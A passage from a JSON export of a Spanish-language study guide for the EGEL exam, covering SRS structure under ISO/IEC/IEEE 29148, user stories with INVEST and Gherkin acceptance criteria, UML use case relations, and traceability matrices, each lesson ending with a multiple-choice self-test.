integrado)\n**Pregunta:** El director de TI exige que los estudiantes evalúen profesores únicamente por app en iOS, pero el 85% de los alumnos tiene Android gama baja. ¿Qué defecto y acción corresponden?\n\n- **Opción correcta: A** (Es un defecto de factibilidad y adecuación de requerimientos; el analista debe evidenciar la contradicción mediante métricas demográficas y proponer una solución multiplataforma o web responsiva accesible para la mayoría).\n- **Argumentación técnica:** Imponer una restricción tecnológica que excluye al 85% del universo de usuarios destruye la validez operativa del sistema. El deber del ingeniero de software es presentar los datos demográficos objetivos a los tomadores de decisiones para rectificar la restricción y asegurar que el sistema cumpla su propósito institucional.\n- **Por qué fallan los distractores:**\n  - La opción B promueve la complacencia ante decisiones irracionales que garantizan el fracaso del proyecto.\n  - Las opciones C y D confunden la adecuación demográfica con la sintaxis del texto o proponen soluciones socialmente absurdas.\n","title":"1.2.7 Soluciones razonadas: Autoevaluaciones de la Subárea 1.2"}],"contentMd":"","title":"1.2 Técnicas y herramientas para la obtención, análisis, priorización y validación de requerimientos"},{"children":[{"children":[],"contentMd":"# Especificación formal de requerimientos (SRS / ISO/IEC/IEEE 29148)\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de estructurar, redactar y auditar una Especificación de Requerimientos de Software (SRS / ERS) conforme al estándar internacional ISO/IEC/IEEE 29148 (sucesor de IEEE 830), estableciendo líneas base, mecanismos de versionado y control de cambios contractuales.\n\n## ¿Por qué importa en la práctica profesional?\nEn proyectos de software de misión crítica, licitaciones gubernamentales, dispositivos médicos o sistemas aeroespaciales, una conversación verbal o una nota adhesiva en un pizarrón no tiene validez legal ni técnica. El documento SRS (Software Requirements Specification) constituye el contrato técnico formal vinculante entre el cliente que financia el desarrollo y la entidad de ingeniería que lo construye. Si el SRS está mal estructurado, cualquier litigio por retrasos o sobrecostos terminará en desastre judicial.\n\n## Estructura canónica de un SRS (ISO/IEC/IEEE 29148 / IEEE 830)\n\nUn documento formal de especificación debe estructurarse rigurosamente en tres secciones principales para separar el contexto, la perspectiva de usuario y el detalle técnico:\n\n### 1. Introducción\n- **1.1 Propósito:** Define el objetivo del documento y a quién va dirigido.\n- **1.2 Alcance del producto (Scope):** Qué hará y, con igual importancia, **qué NO hará** el software (límites explícitos para evitar el \"scope creep\" o corrupción del alcance).\n- **1.3 Definiciones, acrónimos y abreviaturas:** Glosario técnico para unificar el lenguaje entre negocio e ingeniería.\n- **1.4 Referencias:** Leyes, normas, estándares y contratos aplicables.\n- **1.5 Visión general:** Estructura del resto del documento.\n\n### 2. Descripción General\n- **2.1 Perspectiva del producto:** Si es un producto independiente o forma parte de una familia de sistemas heredados.\n- **2.2 Funciones del producto:** Resumen gráfico o lista de alto nivel de las capacidades operativas.\n- **2.3 Características y perfiles de los usuarios:** Habilidades técnicas, educación y restricciones de los operadores humanos.\n- **2.4 Restricciones generales:** Tecnológicas, legales, de hardware, estándares corporativos y plazos.\n- **2.5 Supuestos y dependencias:** Factores externos que se asumen verdaderos para la planificación.\n\n### 3. Requerimientos Específicos (El corazón técnico del SRS)\nEn esta sección cada requerimiento debe tener un **identificador único indeleble** (ej. `RF-AUT-001`, `RNF-SEC-004`) y especificar:\n- **3.1 Interfaces externas:** Interfaces de usuario, de hardware, de software y de comunicaciones.\n- **3.2 Requerimientos funcionales detallados:** Entradas, secuencias de procesamiento, salidas y manejo de estados de error.\n- **3.3 Requerimientos de desempeño:** Latencia, concurrencia, uso de memoria, throughput.\n- **3.4 Atributos de calidad de software:** Fiabilidad, disponibilidad, seguridad, mantenibilidad y portabilidad.\n- **3.5 Requerimientos de base de datos:** Estructura conceptual, volumen estimado y políticas de retención.\n\n## Gestión de la Línea Base (Baseline) y Control de Cambios\n\nUn proyecto de ingeniería no puede construir sobre un blanco móvil. Cuando el cliente y el equipo de desarrollo revisan y aprueban formalmente el documento SRS, se declara la **Línea Base de Requerimientos (Requirements Baseline)**.\n\n- **Definición de Línea Base:** Versión formalmente revisada y acordada de la especificación que solo puede modificarse mediante un **Proceso Formal de Control de Cambios**.\n- **El flujo formal de control de cambios:**\n  1. *Solicitud de Cambio (RFC - Request For Change):* Cualquier interesado redacta la modificación propuesta y su justificación.\n  2. *Análisis de Impacto:* El equipo de ingeniería evalúa cómo afecta el cambio al cronograma, costo, arquitectura, base de datos y casos de prueba existentes.\n  3. *Comité de Control de Cambios (CCB - Change Control Board):* Grupo colegiado con representantes de negocio, finanzas y tecnología que aprueba, rechaza o pospone la solicitud.\n  4. *Actualización de la línea base:* Si se aprueba, se incrementa la versión formal del documento (ej. de v1.0 a v1.1) y se actualiza la matriz de trazabilidad.\n\n## Errores y confusiones frecuentes\n\n- **El SRS como \"código en prosa\":** Escribir en el SRS cómo deben llamarse las clases en Java o cómo estructurar los bucles `for`. El SRS especifica el *qué* debe hacer el sistema externamente; el diseño arquitectónico especifica el *cómo*.\n- **Aceptar cambios informales (\"Change creep\"):** Permitir que el cliente pida \"pequeños favorcitos\" por llamada telefónica sin registrar una solicitud de cambio formal. Al final del proyecto, el software tiene 40 funciones adicionales no presupuestadas y el proyecto está quebrado.\n- **Descuidar el glosario:** En un hospital, la palabra \"servicio\" puede significar una cama de hospitalización para un médico, o un endpoint web para un desarrollador. Sin glosario, la ambigüedad destruirá el proyecto.\n\n## Claves para el EGEL\n- La norma ISO/IEC/IEEE 29148 y su predecesora IEEE 830 son los referentes oficiales de especificación formal.\n- Todo cambio a requerimientos posteriores a la aprobación del SRS debe someterse a un **Análisis de Impacto** y a la aprobación del **Comité de Control de Cambios (CCB)**.\n\n## Autoevaluación\nDurante el desarrollo de un sistema aeronáutico con línea base aprobada (SRS v1.0), el cliente solicita por correo al líder técnico agregar un nuevo sensor de presión en el panel de control.\n¿Cuál es la conducta profesional correcta que dicta la ingeniería de software?\nA) Programar el sensor de inmediato para complacer al cliente.\nB) Rechazar categóricamente la solicitud porque la línea base está congelada para siempre.\nC) Registrar una Solicitud de Cambio formal (RFC), realizar un análisis de impacto técnico y financiero, y someterla a la aprobación del Comité de Control de Cambios (CCB).\nD) Crear una copia oculta del código fuente e insertar el sensor sin avisar a QA.\n\n*(Consulta la solución razonada en la última lección de esta subárea).*\n\n## Puntos clave\n- El SRS es el contrato técnico formal de un sistema de software.\n- La línea base convierte la especificación en un punto de referencia estable para el desarrollo.\n- Ningún cambio ingresa a un proyecto formal sin análisis de impacto previo.\n","title":"1.3.1 Especificación formal de requerimientos (SRS / ISO/IEC/IEEE 29148)"},{"children":[],"contentMd":"# Historias de usuario, criterios de aceptación e INVEST\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de redactar, descomponer y evaluar historias de usuario profesionales siguiendo el estándar Connextra, aplicando el acrónimo INVEST para garantizar su calidad y definiendo criterios de aceptación ejecutables mediante la sintaxis Given-When-Then (BDD).\n\n## ¿Por qué importa en la práctica profesional?\nEn el desarrollo de software contemporáneo (metodologías ágiles como Scrum, Kanban y XP), las especificaciones de 500 páginas han sido complementadas o reemplazadas por **Historias de Usuario**. Sin embargo, existe una epidemia de malas historias de usuario en la industria: textos de una línea que no dicen nada, historias gigantescas que tardan 6 meses en construirse o historias sin criterios de aceptación que provocan que los desarrolladores entreguen cualquier cosa. Dominar la técnica formal de historias de usuario es indispensable para el ejercicio profesional.\n\n## Anatomía de una Historia de Usuario profesional\n\nUna historia de usuario no es simplemente una tarea técnica (\"crear tabla en la base de datos\"); es una **declaración concisa de valor desde la perspectiva de un rol de usuario**:\n\n### Las 3 C's de Ron Jeffries\n1. **Card (Tarjeta):** La descripción sintética escrita en el formato canónico Connextra:\n   \u003e **Como** [rol o arquetipo de usuario específico]\n   \u003e **Quiero** [acción, capacidad o comportamiento deseado]\n   \u003e **Para** [beneficio o valor de negocio que se obtiene]\n2. **Conversation (Conversación):** El diálogo continuo entre el Product Owner, los desarrolladores y los testers para refinar detalles, aclarar dudas y acordar bordes del problema.\n3. **Confirmation (Confirmación):** Los criterios de aceptación objetivos que definen exactamente cuándo la historia se considera terminada y lista para ser entregada.\n\n## El acrónimo INVEST (Criterios de calidad de Bill Wake)\n\nToda historia de usuario bien formada debe cumplir con las seis propiedades del modelo INVEST:\n\n| Letra | Principio | Significado técnico | Ejemplo de violación (Mal) | Ejemplo correcto (Bien) |\n|---|---|---|---|---|\n| **I** | **Independent** (Independiente) | Debe poder desarrollarse, probarse y desplegarse sin depender fuertemente de otra historia del mismo sprint. | \"Historia B solo se puede codificar si Historia A termina al 100%\". | Desacoplar las historias o fusionarlas si representan la misma transacción. |\n| **N** | **Negotiable** (Negociable) | No es un contrato inmutable; es una invitación a la conversación. Los detalles se refinan con el equipo. | La historia dicta el tipo de letra, el color hexadecimal exacto y el nombre de la variable. | Describe el objetivo de negocio y deja los detalles de implementación al equipo técnico. |\n| **V** | **Valuable** (Valiosa) | Debe entregar valor perceptible al usuario final o al negocio. No debe ser una tarea puramente técnica. | \"Como desarrollador quiero crear un índice en la tabla SQL\". | \"Como comprador quiero ver los resultados de búsqueda en \u003c 1s para elegir rápido mis productos\". |\n| **E** | **Estimable** (Estimable) | El equipo técnico debe comprender el alcance lo suficiente para asignar una estimación de esfuerzo/puntos de historia. | \"Como usuario quiero que el sistema use IA para todo\". | El equipo entiende el alcance y la estima en 5 puntos de historia. |\n| **S** | **Small** (Pequeña / Adecuada) | Debe tener un tamaño que permita completarla dentro de una única iteración (sprint), idealmente en pocos días. | Una historia colosal (Épica) como \"Construir todo el módulo de facturación\". | Dividir en historias pequeñas: emitir factura, enviar factura por correo, descargar PDF. |\n| **T** | **Testable** (Verificable / Comprobable) | Posee criterios de aceptación claros que permiten a QA escribir pruebas de pasa/no pasa. | \"Como usuario quiero una interfaz intuitiva\". | Criterios de aceptación con tiempos y porcentajes verificables. |\n\n## Criterios de aceptación con sintaxis Gherkin (BDD)\n\nLos criterios de aceptación no deben redactarse con ambigüedades. La industria utiliza la estructura **Given-When-Then** (Dado-Cuando-Entonces):\n\n```gherkin\nHistoria: Pago con tarjeta de crédito en tienda digital\n\nEscenario 1: Pago exitoso con fondos suficientes\n  Dado que el cliente tiene un carrito con productos por un total de $1,200 MXN\n  Y ha ingresado una tarjeta de crédito válida con fondos suficientes\n  Cuando el cliente presiona el botón \"Confirmar y Pagar\"\n  Entonces el sistema debe procesar el cobro a través de la pasarela\n  Y debe mostrar el mensaje: \"Pago autorizado con éxito. Folio: #XXXX\"\n  Y debe enviar un comprobante al correo electrónico registrado\n  Y debe vaciar el carrito de compras del cliente.\n\nEscenario 2: Pago rechazado por tarjeta expirada\n  Dado que el cliente ingresa una tarjeta con fecha de vencimiento anterior al mes en curso\n  Cuando el cliente presiona el botón \"Confirmar y Pagar\"\n  Entonces el sistema no debe enviar la petición a la pasarela bancaria\n  Y debe marcar en rojo el campo de fecha de vencimiento\n  Y debe mostrar el mensaje: \"La tarjeta ingresada ha expirado. Por favor use otro método de pago.\"\n```\n\n## Escenario de decisión profesional: Descomposición de Épicas (Splitting)\nUn Product Owner presenta la siguiente historia al equipo:\n*\"Como gerente de tienda quiero administrar todo el inventario, proveedores y pedidos para que el negocio funcione.\"*\n\n**Diagnóstico:** Esta historia es una **Épica** gigantesca. Viola el principio **S (Small)** de INVEST, no se puede estimar con precisión (**Estimable**) y tomaría 4 meses desarrollarla.\n\n**Estrategia de división (Story Splitting):** Descomponerla por operaciones de flujo y casos de uso:\n1. *Historia 1.1:* Consultar existencias de un producto mediante código de barras en almacén.\n2. *Historia 1.2:* Ajustar manualmente existencias por merma o daño físico con justificación obligatoria.\n3. *Historia 1.3:* Emitir orden de compra automática al proveedor cuando el stock caiga por debajo del punto de reorden.\n4. *Historia 1.4:* Registrar el ingreso de mercancía recibida contra una orden de compra abierta.\n\nCada una de estas historias satisface INVEST, se puede completar en 2 a 4 días y entrega valor demostrable de forma incremental.\n\n## Errores y confusiones frecuentes\n\n- **Escribir tareas técnicas disfrazadas de historias de usuario:** \"Como desarrollador quiero configurar Docker para desplegar\". Eso es una tarea técnica de arquitectura (un Spike o Technical Task), no una historia de usuario. El usuario final no obtiene ningún valor directo de la configuración de Docker.\n- **Olvidar el \"Para\" (La justificación de valor):** Escribir solo \"Como usuario quiero un botón azul\". Si no explicas el *para qué*, el equipo no entenderá el problema real y propondrá soluciones subóptimas.\n- **Historias dependientes en cadena:** Crear Historia 1 (crear UI), Historia 2 (crear API), Historia 3 (crear BD). Esto es cascada disfrazada de ágil. Las historias deben ser cortes verticales (Vertical Slices) que atraviesen todas las capas y entreguen valor funcional de punta a punta.\n\n## Claves para el EGEL\n- Recuerda los principios del acrónimo **INVEST**. Si una pregunta describe una historia que no cabe en un sprint o que no puede probarse objetivamente, identifica la violación correspondiente (**Small** o **Testable**).\n- Distingue entre una Historia de Usuario (declaración de intención de usuario) y un Caso de Uso (descripción estructurada de interacción paso a paso).\n\n## Autoevaluación\nUn Product Owner entrega la siguiente historia al equipo de desarrollo:\n*\"Como administrador del sistema quiero que la base de datos se migre a PostgreSQL para modernizar la infraestructura tecnológica.\"*\n¿Qué principio fundamental del acrónimo INVEST está violando principalmente esta declaración?\nA) Principio I (Independent).\nB) Principio V (Valuable): no entrega valor directo a un usuario del negocio ni describe una funcionalidad de dominio.\nC) Principio S (Small).\nD) Principio N (Negotiable).\n\n*(Consulta la solución razonada en la última lección de esta subárea).*\n\n## Puntos clave\n- Formato Connextra: Como [rol], Quiero [acción], Para [beneficio de negocio].\n- INVEST asegura que las historias sean viables y manejables dentro de un sprint.\n- Los criterios de aceptación con Given-When-Then formalizan las condiciones de éxito sin ambigüedades.\n","title":"1.3.2 Historias de usuario, criterios de aceptación e INVEST"},{"children":[],"contentMd":"# Casos de uso: Actores, flujos, escenarios y relaciones UML\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de modelar, redactar y analizar casos de uso en formato estructurado y visual (UML), identificando actores primarios y secundarios, flujos principales, alternativos y de excepción, y aplicando con rigor las relaciones de inclusión (`\u003c\u003cinclude\u003e\u003e`), extensión (`\u003c\u003cextend\u003e\u003e`) y generalización sin dogmas ni errores semánticos.\n\n## ¿Por qué importa en la práctica profesional?\nLas historias de usuario son excelentes para planificar sprints en equipos ágiles, pero resultan insuficientes cuando se necesita describir procesos de negocio transaccionales complejos con múltiples pasos, precondiciones de seguridad, reglas de auditoría y ramificaciones alternas (como un trámite aduanero, una transferencia interbancaria SPEI o la operación de un cajero automático). Los **Casos de Uso** (introducidos por Ivar Jacobson) siguen siendo la técnica por excelencia para documentar la interacción completa entre un actor y el sistema.\n\n## Anatomía formal de una especificación de Caso de Uso\n\nUn caso de uso describe una secuencia completa de interacciones entre un actor externo y el sistema para alcanzar una meta de valor. Su especificación textual debe incluir:\n\n1. **Nombre del caso de uso:** Verbo en infinitivo + objeto directo (ej. *Realizar transferencia bancaria*, *Registrar paciente*).\n2. **Actor principal:** El rol que inicia la interacción para lograr la meta.\n3. **Actores secundarios:** Sistemas externos o roles que participan en el caso de uso proporcionando servicios (ej. *Pasarela de pagos*, *Servidor SMS*).\n4. **Precondiciones:** Estado riguroso en el que debe hallarse el sistema antes de iniciar.\n5. **Postcondiciones de éxito:** Estado en el que queda garantizado el sistema si la meta se cumple.\n6. **Postcondiciones de fallo:** Estado en el que queda el sistema si la transacción es abortada (ej. no se descontó dinero y se registró bitácora de error).\n7. **Flujo Principal (Happy Path):** Secuencia numerada de pasos paso a paso donde todo sale a la perfección.\n8. **Flujos Alternativos:** Caminos secundarios válidos que logran la meta de forma distinta (ej. pagar con tarjeta de débito en lugar de crédito).\n9. **Flujos de Excepción:** Comportamiento ante fallos irrecuperables (ej. fondos insuficientes, pérdida de conexión con el banco).\n\n---\n\n## Diagramas de Casos de Uso UML y sus Relaciones\n\nEn el modelado visual UML, un caso de uso se representa como un óvalo, los actores como figuras humanas (o cajas estereotipadas para sistemas externos) y el límite del sistema como un rectángulo que encierra los óvalos.\n\nLas relaciones entre casos de uso son una de las fuentes de mayor confusión en el EGEL:\n\n### 1. Relación de Inclusión (`\u003c\u003cinclude\u003e\u003e`)\n- **Semántica:** El caso de uso base **necesita obligatoriamente** ejecutar el caso de uso incluido para completar su tarea.\n- La ejecución del caso incluido es **incondicional e indispensable**.\n- Se utiliza para reutilizar lógica común compartida por múltiples casos de uso.\n- *Dirección de la flecha discontinua:* Apunta desde el caso base **HACIA** el caso incluido:\n  `[Retirar Efectivo] ──\u003c\u003cinclude\u003e\u003e──\u003e [Autenticar Usuario]`\n  *(No puedes retirar efectivo sin autenticarte primero; la autenticación está \"incluida\" forzosamente).*\n\n### 2. Relación de Extensión (`\u003c\u003cextend\u003e\u003e`)\n- **Semántica:** El caso de uso extensor **añade comportamiento opcional o condicional** al caso de uso base en un **punto de extensión (Extension Point)** específico.\n- El caso base puede ejecutarse y completarse exitosamente **sin** que el caso extensor se ejecute jamás.\n- Se utiliza para modelar excepciones complejas, funcionalidades opcionales o flujos de ayuda.\n- *Dirección de la flecha discontinua:* Apunta desde el caso extensor (el opcional) **HACIA** el caso base:\n  `[Contratar Seguro de Envío] ──\u003c\u003cextend\u003e\u003e──\u003e [Realizar Compra]`\n  *(Puedes comprar sin contratar seguro; contratar seguro extiende opcionalmente la compra cuando el cliente lo elige).*\n\n### 3. Generalización (Herencia)\n- Puede aplicarse tanto entre **Actores** como entre **Casos de Uso**.\n- *Entre Actores:* Un `Administrador` hereda todos los casos de uso a los que tiene acceso un `Empleado`, más sus propios casos exclusivos.\n- *Entre Casos de Uso:* Un caso de uso hijo hereda el comportamiento del padre y especializa pasos específicos. `[Pagar con Tarjeta]` y `[Pagar con Criptomoneda]` generalizan a `[Pagar Pedido]`.\n\n---\n\n## Comparativa definitiva: `\u003c\u003cinclude\u003e\u003e` vs `\u003c\u003cextend\u003e\u003e`\n\n| Criterio | Relación `\u003c\u003cinclude\u003e\u003e` | Relación `\u003c\u003cextend\u003e\u003e` |\n|---|---|---|\n| **Condición de ejecución** | **Obligatoria e incondicional.** Siempre se ejecuta. | **Opcional y condicional.** Solo se ejecuta si se cumple una condición. |\n| **¿El caso base funciona solo?** | NO. Requiere al caso incluido para completar su meta. | SÍ. El caso base está completo por sí mismo. |\n| **Punto de extensión** | No requiere punto de extensión. | Requiere declarar un punto de extensión formal. |\n| **Dirección de la flecha** | Caso Base ──\u003e Caso Incluido | Caso Extensor (Opcional) ──\u003e Caso Base |\n| **Propósito principal** | Reutilizar código/comportamiento común. | Añadir variaciones o lógica excepcional sin alterar el caso base. |\n| **Ejemplo bancario** | `[Transferir Dinero]` incluye `[Validar Saldo]`. | `[Emitir Alerta de Lavado de Dinero]` extiende `[Transferir Dinero]` (solo si monto \u003e $10,000 USD). |\n\n## Escenario de decisión profesional: El sistema de comercio electrónico\nAnaliza las siguientes tres funcionalidades en una tienda en línea:\n1. Siempre que un cliente realiza un pago, el sistema debe registrar una transacción en el libro contable de forma obligatoria.\n2. Si el cliente compra un artículo frágil, el sistema le ofrece la opción de agregar empaque de regalo y embalaje reforzado con costo adicional.\n3. Tanto el cliente particular como el cliente corporativo pueden consultar el catálogo de productos, pero el corporativo ve precios al mayoreo.\n\n**Modelado UML profesional:**\n- Para la funcionalidad 1: Relación `\u003c\u003cinclude\u003e\u003e` desde `Realizar Pago` hacia `Registrar Transacción Contable`.\n- Para la funcionalidad 2: Relación `\u003c\u003cextend\u003e\u003e` desde `Agregar Empaque Reforzado` hacia `Procesar Carrito de Compras`, con el punto de extensión *\"En selección de método de envío, si producto es frágil\"*.\n- Para la funcionalidad 3: **Generalización de actores**: `Cliente Corporativo` hereda de `Cliente Particular`.\n\n## Errores y confusiones frecuentes\n\n- **Invertir la dirección de las flechas:** Dibujar la flecha de `\u003c\u003cextend\u003e\u003e` apuntando hacia el caso extensor. Recuerda: en `\u003c\u003cextend\u003e\u003e`, la flecha apunta **hacia el caso base**.\n- **Modelar diagramas de casos de uso como diagramas de flujo:** Conectar casos de uso entre sí mediante flechas simples para indicar \"después de este paso va este otro\". Los casos de uso no muestran secuencia temporal entre sí; muestran relaciones estructurales de alcance.\n- **Incluir actores internos del software:** Dibujar \"Base de datos\" como un actor humano en el diagrama. La base de datos es un componente interno del sistema que está dentro del límite del sistema, no un actor externo.\n\n## Claves para el EGEL\n- **Regla infalible para el examen:**\n  - Si la acción secundaria **siempre se realiza y es obligatoria** para terminar el caso de uso base → la relación es **`\u003c\u003cinclude\u003e\u003e`**.\n  - Si la acción secundaria es **opcional, contingente, una ayuda o solo ocurre bajo ciertas condiciones extraordinarias** → la relación es **`\u003c\u003cextend\u003e\u003e`**.\n- Los actores son externos al sistema y se clasifican en **primarios** (inician el caso de uso) y **secundarios** (proporcionan un servicio pasivo).\n\n## Autoevaluación\nEn el diseño de un cajero automático, el analista modela la funcionalidad de imprimir un recibo de papel tras retirar dinero. El usuario puede presionar en la pantalla táctil \"Sí, imprimir recibo\" o \"No, no deseo recibo\".\n¿Cómo debe modelarse la relación entre `[Retirar Efectivo]` e `[Imprimir Recibo]` en UML?\nA) `[Retirar Efectivo] ──\u003c\u003cinclude\u003e\u003e──\u003e [Imprimir Recibo]`\nB) `[Imprimir Recibo] ──\u003c\u003cextend\u003e\u003e──\u003e [Retirar Efectivo]` con la condición *\"Si el usuario seleccionó imprimir recibo\"*.\nC) `[Retirar Efectivo] ──\u003c\u003cextend\u003e\u003e──\u003e [Imprimir Recibo]`\nD) Generalización de casos de uso sin estereotipo.\n\n*(Consulta la solución razonada en la última lección de esta subárea).*\n\n## Puntos clave\n- Los casos de uso modelan la interacción orientada a metas entre actores externos y el sistema.\n- `\u003c\u003cinclude\u003e\u003e` es forzoso y apunta al incluido; `\u003c\u003cextend\u003e\u003e` es condicional y apunta al base.\n- Un buen caso de uso describe rigurosamente precondiciones, flujo principal, alternativos y excepciones.\n","title":"1.3.3 Casos de uso: Actores, flujos, escenarios y relaciones UML"},{"children":[],"contentMd":"# Modelado visual, matrices de trazabilidad y líneas base\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de seleccionar e interpretar diagramas de modelado visual para enriquecer la especificación de requerimientos (Diagramas de Actividades y de Máquinas de Estados), construir Matrices de Trazabilidad de Requerimientos (RTM) completas y gestionar el ciclo de vida de la línea base técnica del proyecto.\n\n## ¿Por qué importa en la práctica profesional?\nEl texto en lenguaje natural, por pulido que sea, tiene dificultades para comunicar flujos paralelos de decisiones y ciclos de vida de entidades complejas. Una especificación que solo contiene párrafos de texto suele ocultar baches lógicos que estallan durante la codificación. El modelado visual actúa como una radiografía de los requerimientos. Complementar el texto con diagramas de flujo y matrices de trazabilidad garantiza que no se omita ninguna transición crítica ni quede ningún requerimiento sin probar.\n\n---\n\n## Herramientas de modelado visual en la fase de requerimientos\n\nEn la etapa de análisis de sistemas, no se modelan clases ni patrones de código (eso pertenece al diseño); se modela la lógica del negocio y el comportamiento del sistema visto desde afuera:\n\n### 1. Diagramas de Actividades UML\n- **Propósito:** Modelar flujos de trabajo de negocio, procesos secuenciales y operaciones concurrentes.\n- **Elementos esenciales:**\n  - *Nodos de acción:* Pasos individuales del proceso.\n  - *Carriles de responsabilidad (Swimlanes):* Dividen visualmente las acciones según el rol o sistema que las ejecuta (ej. Carril del Cliente, Carril del Cajero, Carril del Servidor de Pagos).\n  - *Ramas de decisión y fusión (Decision \u0026 Merge):* Rombos que evalúan condiciones booleanas.\n  - *Bifurcaciones y uniones paralelas (Fork \u0026 Join):* Barras negras gruesas que modelan hilos que se ejecutan al mismo tiempo en paralelo.\n- **Cuándo utilizarlo:** Para modelar la secuencia paso a paso de un caso de uso complejo con múltiples participantes y tareas paralelas.\n\n### 2. Diagramas de Máquinas de Estados (State Machines)\n- **Propósito:** Modelar el ciclo de vida completo de una entidad de negocio clave (un Pedido, una Factura, un Paciente) a través de los diferentes **estados** en los que puede encontrarse y los **eventos** que disparan las transiciones entre ellos.\n- **Elementos esenciales:**\n  - *Estado:* Condición o situación en la que se encuentra un objeto a la espera de un evento (ej. `Creado`, `Pagado`, `Enviado`, `Cancelado`).\n  - *Transición:* Flecha dirigida que une dos estados.\n  - *Evento disparador:* Lo que provoca el cambio de estado (ej. `recibirPago()`).\n  - *Guarda (Guard Condition):* Condición booleana entre corchetes `[saldo \u003e= total]` que debe ser verdadera para que ocurra la transición.\n- **Cuándo utilizarlo:** Siempre que un requerimiento involucre reglas de transición de ciclo de vida (ej. \"Una factura no puede cancelarse si ya fue pagada\", \"Un pedido solo puede pasar a empaque si el pago fue aprobado\").\n\n---\n\n## La Matriz de Trazabilidad de Requerimientos (RTM) en profundidad\n\nUna Matriz de Trazabilidad es una tabla bidireccional que rastrea el ciclo de vida de cada requerimiento desde su nacimiento hasta su verificación final en producción.\n\n### Dimensiones de la trazabilidad:\n1. **Trazabilidad hacia atrás (Backward Traceability):**\n   - Vincula el requerimiento del sistema con la necesidad del negocio, la solicitud del cliente o la norma legal que lo originó.\n   - *Responde a:* \"¿Por qué existe este requerimiento? ¿Quién lo solicitó?\".\n2. **Trazabilidad hacia adelante (Forward Traceability):**\n   - Vincula el requerimiento con los componentes de arquitectura, las clases/módulos de software y los casos de prueba de QA que lo implementan y validan.\n   - *Responde a:* \"¿En qué archivos de código se implementa este requerimiento? ¿Qué casos de prueba certifican que funciona?\".\n\n### Estructura formal de una RTM profesional:\n\n| ID Req | Tipo | Descripción | Fuente / Stakeholder | Caso de Uso | Módulo / Clase | ID Caso de Prueba | Estado de Cumplimiento |\n|---|---|---|---|---|---|---|---|\n| **RF-01** | Funcional | Autenticación con 2FA | Dir. Seguridad | CU-AUT-01 | `AuthService.ts` | `TC-AUT-101` | Aprobado en QA |\n| **RF-02** | Funcional | Bloqueo tras 3 fallos | Regla Negocio 14 | CU-AUT-02 | `LoginPolicy.ts` | `TC-AUT-105` | En pruebas |\n| **RNF-01**| Desempeño | Tiempo respuesta \u003c 500ms | SLA del Cliente | Todos | Gateway / Redis | `TC-PERF-01` | Pendiente |\n\n### Utilidad crítica de la RTM:\n- **Análisis de Impacto Inmediato:** Si el cliente modifica el requerimiento `RF-01`, la RTM permite ver en 30 segundos qué casos de uso, archivos de código y casos de prueba deben ser actualizados y re-probados.\n- **Identificación de Requerimientos Huérfanos:** Requerimientos que no tienen casos de prueba asociados (peligro de no verificación) o código que no tiene requerimiento de origen (desperdicio de recursos / gold plating).\n\n---\n\n## Escenario de decisión profesional: El ciclo de vida de la póliza en \"SegurosGlobal\"\nUna aseguradora sufre pérdidas porque los agentes modifican los montos de pólizas que ya fueron indemnizadas a los clientes tras accidentes.\nEl analista modela la máquina de estados de la entidad `Póliza`:\n\n```text\n                  [Póliza Solicitada]\n                           │\n                 aprobar() │ [score crediticio \u003e 650]\n                           ▼\n                   [Póliza Vigente]\n                           │\n             declararSiniestro()\n                           ▼\n                  [En Liquidación]\n                           │\n                 pagarFiniquito()\n                           ▼\n                [Póliza Finiquitada] ───\u003e (Estado terminal: Inmutable)\n```\n\n**Decisión técnica derivada del modelo:**\nAl modelar el estado `Finiquitada` como un estado terminal sin transiciones salientes hacia estados editables, el arquitecto implementa una regla en la capa de datos que prohíbe las operaciones `UPDATE` sobre los registros en dicho estado. Se resolvió una fuga de millones de pesos mediante un simple diagrama visual validado con el área jurídica.\n\n## Errores y confusiones frecuentes\n\n- **Creer que el diagrama reemplaza la especificación escrita:** Un diagrama UML sin texto explicativo que aclare las precondiciones, postcondiciones y formatos de datos es ambiguo. Diagramas y texto son simbióticos.\n- **Mantener la RTM como un documento estático:** Llenar la matriz en Word al inicio del proyecto y no volver a tocarla nunca más. La trazabilidad solo es útil si se mantiene viva en cada sprint o mediante herramientas automatizadas (Jira, Polarion, Azure DevOps).\n\n## Claves para el EGEL\n- Para modelar el comportamiento cronológico de una entidad con múltiples transiciones y condiciones de bloqueo, la herramienta correcta es el **Diagrama de Máquinas de Estados**.\n- Para analizar el impacto de un cambio propuesto por el cliente sobre el código y las pruebas, la herramienta indispensable es la **Matriz de Trazabilidad de Requerimientos (RTM)**.\n\n## Autoevaluación\nUn cliente corporativo solicita cambiar las reglas de facturación a mitad del desarrollo. El líder de proyecto necesita saber exactamente qué clases de código fuente y qué casos de prueba deberán modificarse y re-ejecutarse como consecuencia de este cambio.\n¿A qué instrumento de ingeniería de requerimientos debe recurrir de inmediato?\nA) Al diagrama de casos de uso inicial.\nB) A la Matriz de Trazabilidad de Requerimientos (RTM) mediante análisis de trazabilidad hacia adelante.\nC) A la encuesta de satisfacción del cliente.\nD) Al repositorio de código ejecutando un comando de formateo automático.\n\n*(Consulta la solución razonada en la última lección de esta subárea).*\n\n## Puntos clave\n- Los diagramas de actividades modelan flujos y concurrencia; las máquinas de estados modelan ciclos de vida de entidades.\n- La trazabilidad bidireccional (RTM) es el mecanismo fundamental para realizar análisis de impacto de cambios.\n- Una línea base sin trazabilidad es imposible de controlar ante cambios del cliente.\n","title":"1.3.4 Modelado visual, matrices de trazabilidad y líneas base"},{"children":[],"contentMd":"# Comparativa y selección de formatos de documentación\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de evaluar las características de un proyecto de software y seleccionar justificadamente la estrategia de documentación de requerimientos más apropiada: Especificación Formal (SRS/IEEE 29148), Historias de Usuario ágiles, Casos de Uso estructurados o prototipado interactivo, analizando sus consecuencias técnicas, contractuales y operativas.\n\n## ¿Por qué importa en la práctica profesional?\nEn la industria actual existe una guerra ideológica infundada entre partidarios del \"agilismo sin documentos\" y defensores de la \"burocracia documental exhaustiva\". Un ingeniero de software profesional no abraza dogmas; aplica la herramienta correcta para el problema correcto. Pretender documentar con historias de usuario de 3 líneas el software de control de vuelo de un satélite es negligencia profesional; exigir un documento SRS de 800 páginas para una app móvil experimental de una startup con 2 semanas de vida es suicidio financiero. La madurez profesional consiste en saber qué documentar, con qué nivel de rigor y en qué formato.\n\n---\n\n## Criterios de decisión para la selección de 